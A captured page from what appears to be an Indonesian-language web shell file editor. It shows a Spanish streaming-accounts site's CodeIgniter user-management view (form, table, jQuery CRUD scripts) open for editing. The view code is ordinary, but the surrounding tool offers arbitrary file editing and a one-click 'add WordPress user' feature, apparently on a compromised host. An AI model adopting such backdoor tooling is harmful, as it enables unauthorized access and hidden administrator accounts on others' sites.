📝 File Editor

📝 File Editor (IP: )

📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/views/usuarios

📄 index.php
📄 ventaUsuarios.php

➕ Tambah User WordPress (folder aktif)

📝 Mengedit: index.php

<?php if ($this->session->userdata('C0n3ct4d0_Usr')) : ?>
    <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : ?>

<img src="<?php echo base_url('assets/images/programmer.png'); ?>" alt="" class="icono-modulo">&nbsp;&nbsp;&nbsp;

<div class="apartado-clientes">
                <b class="h5">USUARIOS</b>
                <div class="subtitulo2 apartado-clientes">
                    Listado de usuarios
                </div>
            </div>
        </div>

<div class="row">
            <div class="col-md-12 text-right">
                <a id="btnAgregarUsuario" href="javascript:void(0);" class="btn btn-principal btn-agregar">
                    &nbsp;&nbsp;&nbsp;NUEVO USUARIO&nbsp;&nbsp;<i class="fa fa-plus-circle"></i>&nbsp;&nbsp;
                </a>
            </div>
        </div>
        <br>

<div class="row">
            <div class="col-md-12">
                <table id="tablaUsuarios" class="table table-cielo table-hover tbl-buscador">
                    <thead>
                        <tr>
                            <th class="text-center"># DE USUARIO</th>
                            <th class="text-center">NOMBRE</th>
                            <th class="text-center">APELLIDO</th>
                            <th class="text-center">USUARIO</th>
                            
                            <th class="text-center">PERFIL</th>
                            <th class="text-center">FOTO DE PERFIL</th>
                            <th class="text-center">ESTADO</th>
                            <th class="text-center">VENTAS POR EMPLEADO</th>
                            <th class="text-center">ACCIONES</th>
                        </tr>
                    </thead>
                    <tbody></tbody>
                </table>

<br>

<div class="modal fade" id="modalCrudUsuarios" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="exampleModalLabel"></h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span>
                </button>
            </div>

<div class="modal-body">
                <form id="formUsuarios" enctype="multipart/form-data">
                    <div class="row">
                        <div class="col-md-6 form-group">
                            <label for="nombre_usu" class="elemento"><b>NOMBRE:</b></label><br><br>
                            <input id="nombre_usu" class="form-control mi-input" placeholder="Ingresa el nombre del usuario" type="text" name="nombre_usu">
                        </div>

<div class="col-md-6 form-group">
                            <label for="apellido_usu" class="elemento"><b>APELLIDO:</b></label><br><br>
                            <input id="apellido_usu" class="form-control mi-input" placeholder="Ingresa el apellido del usuario" type="text" name="apellido_usu">
                        </div>
                    </div>
                    <br>
                    <div class="row">
                        <div class="col-md-4 form-group">
                            <label for="usuario_usu" class="elemento"><b>USUARIO:</b></label><br><br>
                            <input id="usuario_usu" class="form-control mi-input" placeholder="Ingresa el nombre de usuario" type="text" name="usuario_usu">
                        </div>

<div class="col-md-4 form-group">
                            <label for="password_usu" class="elemento"><b>CONTRASEÑA:</b></label><br><br>
                            <input id="password_usu" class="form-control mi-input" placeholder="Ingresa la contraseña para el usuario" type="password" name="password_usu">
                        </div>

<div class="col-md-4 form-group">
                            <label for="perfil_usu" class="elemento"><b>PERFIL:</b></label><br><br>
                            <select name="perfil_usu" class="form-control mi-input" id="perfil_usu">
                                <option value="">--- Seleccione un perfil ---</option>
                                <option value="ADMINISTRADOR">ADMINISTRADOR</option>
                                <option value="VENDEDOR">VENDEDOR</option>
                            </select>
                        </div>
                    </div>

<br>

<div class="row">
                        <div class="col-md-6 form-group">
                            <label for="fotografia_usu" class="elemento"><b>FOTOGRAFIA:</b></label><br><br>
                            <input type="file" name="fotografia_usu" id="fotografia_usu" class="form-control mi-input">
                        </div>

<div class="contenedor-estadoUsuario" style="display: none;">
                            <div class="col-md-12 form-group">
                                <label for="estado_usu" class="elemento"><b>ESTADO:</b></label><br><br>
                                <select name="estado_usu" class="form-control mi-input" id="estado_usu">
                                    <option value="1">ACTIVO</option>
                                    <option value="0">INACTIVO</option>
                                </select>
                            </div>
                        </div>
                    </div>

<br>

<div class="row">
                        <div class="col-md-12 text-center">
                            <div class="modal-footer">
                                <button type="button" class="btn btn-secundario" data-dismiss="modal">Cancelar</button>
                                <button type="submit" class="btn btn-principal">Guardar</button>
                            </div>
                        </div>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>

<script>
    var fila;

//Enviar Formulario
    $("#formUsuarios").submit(function(e) {
        e.preventDefault();

var formData = new FormData(this);

formData.append('opcionCrud', opcionCrud);
        formData.append('id_usu', id_usu);

if ($(this).valid()) {
            $.ajax({
                url: "<?php echo site_url('usuarios/CRUD'); ?>",
                type: "POST",
                data: formData,
                dataType: "json",
                contentType: false,
                processData: false,
                success: function(response) {
                    if (response.error) {
                        Swal.fire({
                            icon: 'error',
                            title: 'Oops...',
                            text: response.error
                        });
                    } else {
                        Swal.fire(
                            '¡Buen trabajo!',
                            'Usuario agregado o modificado correctamente.',
                            'success'
                        )
                        tablaUsuarios.ajax.reload(null, false);
                    }
                },
            });
        } else {
            Swal.fire({
                icon: 'error',
                title: 'Oops...',
                text: 'Usuario no ingresado o no modificado, verifica y llena todos los campos solicitados.',
            })
        }
        $("#modalCrudUsuarios").modal("hide");
    });

//Agregar
    $("#btnAgregarUsuario").click(function() {
        $('.contenedor-estadoUsuario').css('display', 'none');
        id_usu = null;
        opcionCrud = 1; //alta
        $("#formUsuarios").trigger("reset");
        $(".modal-title").text("Agregar Usuario");
        $("#modalCrudUsuarios").modal("show");
    });

//Editar
    $(document).on('click', ".btnEditar", function() {
        $('#password_usu').val('');
        $('#password_usu').rules('remove', 'required');
        $('.contenedor-estadoUsuario').fadeIn();
        opcionCrud = 2; //alta
        fila = $(this).closest("tr");
        id_usu = parseInt(fila.find('td:eq(0)').text()); //captura la ID
        nombre_usu = fila.find('td:eq(1)').text();
        apellido_usu = fila.find('td:eq(2)').text();
        usuario_usu = fila.find('td:eq(3)').text();
        perfil_usu = fila.find('td:eq(4)').text();
        estado_usu = fila.find('td:eq(6)').text();
        $("#nombre_usu").val(nombre_usu);
        $("#apellido_usu").val(apellido_usu);
        $("#usuario_usu").val(usuario_usu);
        $("#perfil_usu").val(perfil_usu);

if ($.trim(estado_usu) == "ACTIVO") {
            $("#estado_usu option[value=1]").attr("selected", true);
            $("#estado_usu option[value=0]").attr("selected", false);
        } else {
            $("#estado_usu option[value=0]").attr("selected", true);
            $("#estado_usu option[value=1]").attr("selected", false);
        }
        $(".modal-title").text("Editar Usuario");
        $("#modalCrudUsuarios").modal('show');
    });

//borrar
    $(document).on("click", ".btnBorrar", function() {
        fila = $(this);
        id_usu = parseInt($(this).closest("tr").find("td:eq(0)").text());
        opcionCrud = 3; //eliminar

Swal.fire({
            title: '¿Estás seguro?',
            text: "¡No podrás revertir esto!",
            icon: 'warning',
            showCancelButton: true,
            confirmButtonColor: '#3085d6',
            cancelButtonColor: '#d33',
            confirmButtonText: '¡Sí, elimínalo!'
        }).then((result) => {
            if (result.isConfirmed) {
                $.ajax({
                    url: "<?php echo site_url('usuarios/CRUD'); ?>",
                    type: "POST",
                    datatype: "json",
                    data: {
                        opcionCrud: opcionCrud,
                        id_usu: id_usu
                    },
                    success: function() {
                        Swal.fire(
                            '¡Buen trabajo!',
                            'En caso de que no se haya eliminado <b>primero elimina las ventas asociadas a este cliente o verifica que no sea tu mismo usuario</b>.',
                            'success'
                        )
                        tablaUsuarios.row(fila.parents("tr")).remove().draw();
                    },
                });
                Swal.fire(
                    '¡Buen trabajo!',
                    'Tu registro ha sido eliminado.',
                    'success'
                )
            }
        })
    });
</script>

<script>
    $("#fotografia_usu").fileinput({
        language: "es",
        allowedFileExtensions: ["jpg|JPG|png|PNG|jpeg|JPEG"],
        showCaption: false,
        dropZoneEnabled: true,
        showClose: false,
        maxFileCount: 1,
    });

$("#formUsuarios").validate({
        rules: {
            'nombre_usu': {
                required: true
            },
            'apellido_usu': {
                required: true
            },
            'usuario_usu': {
                required: true
            },
            'password_usu': {
                required: true,
                minlength: 6
            },
            'perfil_usu': {
                required: true
            }
        },
        messages: {
            'nombre_usu': {
                required: 'Campo obligatorio: Ingrese el nombre del usuario',
            },
            'apellido_usu': {
                required: 'Campo obligatorio: Ingrese el apellido del usuario',
            },
            'usuario_usu': {
                required: 'Campo obligatorio: Ingrese el usuario',
            },
            'password_usu': {
                required: 'Campo obligatorio: Ingrese la contraseña del usuario',
                minlength: 'Formato Invalido: La contraseña debe ser de mínimo 6 caractéres'
            },
            'perfil_usu': {
                required: 'Campo obligatorio: Seleccione el perfil para el usuario',
            }
        }
    });
</script>

🔁 Replace Teks (Ctrl+H)

Cari:

Ganti Dengan: